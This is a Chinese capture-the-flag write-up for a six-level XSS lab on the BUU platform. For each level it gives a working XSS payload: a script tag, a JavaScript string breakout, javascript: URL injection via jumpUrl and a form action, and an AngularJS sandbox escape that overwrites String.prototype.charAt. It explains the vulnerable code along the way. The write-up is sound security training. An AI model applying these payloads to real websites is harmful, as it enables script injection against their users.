BUU上的[第二章 web进阶]XSS闯关
第一关
第一关很简单,没有任何过滤,直接输入:<script>alert()</script>即可。
第二关
第二关可以输入xss和<script>alert()</script>分别查看页面源代码,看看哪里变了。下面是输入发生变化的代码。
if(location.search == ""){//查看url中是否有查询字符串,包括开头的?,如果有,返回字符串,如果没有返回空字符location.search = "?username=xss"//将url中的查询字符串命名为?username=xss,且不会再改变。}var username = 'xss';//输入document.getElementById('ccc').innerHTML= "Welcome " + escape(username);//找到ID为 'ccc' 的HTML元素,并将其内部的HTML内容替换为 "Welcome " 加上 username 变量的值(username 的值经过 escape() 函数处理),使用双斜线进行过滤。
输入:?username=xss';alert(1);//
第三关
输入第二关的payload,发现多了一个单引号和斜线,形成了闭合。
输入:?username='';alert(1);//
第四关
进入第四关发现页面在不断的跳转,输入:?jumpUrl=javascript:alert(1)
javascript:会将此后面的语句当作代码执行,所以,输入此后的再次跳转就会执行alert(1)。
第五关
查看页面源代码,发现一段js代码。
if(getQueryVariable('autosubmit') !== false){//查看url中是否有autosubmit参数如果有,返回它的值,如果没有,返回false,没有的话执行if语句var autoForm = document.getElementById('autoForm');//通过 ID 获取页面中的表单元素,假设表单的 ID 是 autoForm。autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');//如果没有action,执行location.href,有action且action!=false,执行getQueryVariable('action')。将最后的值赋值给autoForm.action。autoForm.submit();//提交表单 }else{} function getQueryVariable(variable){var query = window.location.search.substring(1);//获取当前页面的查询字符串(即 URL 中 `?` 后的部分)var vars = query.split("&");//按&符号将参数拆解成数组for (var i=0;i<vars.length;i++) {var pair = vars[i].split("=");//通过=将数据分为参数和值if(pair[0] == variable){return pair[1];}//如果参数是查询的参数,返回它的值}return(false);//返回false }
综上,我们需要有autosubmit进入if语句,然后利用action参数进行xss注入。
输入:?autosubmit=1&action=JavaScript:alert(1);//
第六关
查看页面源代码,发现一个链接,不过里面是一堆js代码,在下面找到一段js代码:
<script type="text/javascript">if(location.search == ""){//查询有没有查询的参数,好像也没啥东西。location.search = "?username=xss"} </script>
看别的师傅了解到沙箱逃逸,先传参{ {7*9}},发现被运算。
输入:?username={ {'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
'a'.constructor
返回 String
构造函数。
.prototype
访问 String
的原型对象。
.charAt
是 String
原型上的一个方法,用于获取字符串中指定位置的字符。
=[].join;
将 String.prototype.charAt
方法重写为数组的 join
方法。这意味着当你尝试调用 charAt
方法时,实际上会调用 join
方法。
这样绕过了AngularJS的防御机制,使得后面的代码可以执行。
eval函数接受一个字符串参数,并将其作为AngularJS表达式进行求值。在这里,字符串参数包含恶意代码 x=1} } };alert(1)//'。这段代码试图关闭现有的AngularJS表达式,然后触发一个JavaScript alert弹窗,以实现攻击目的。
最终得到flag:n1book{xss_is_so_interesting}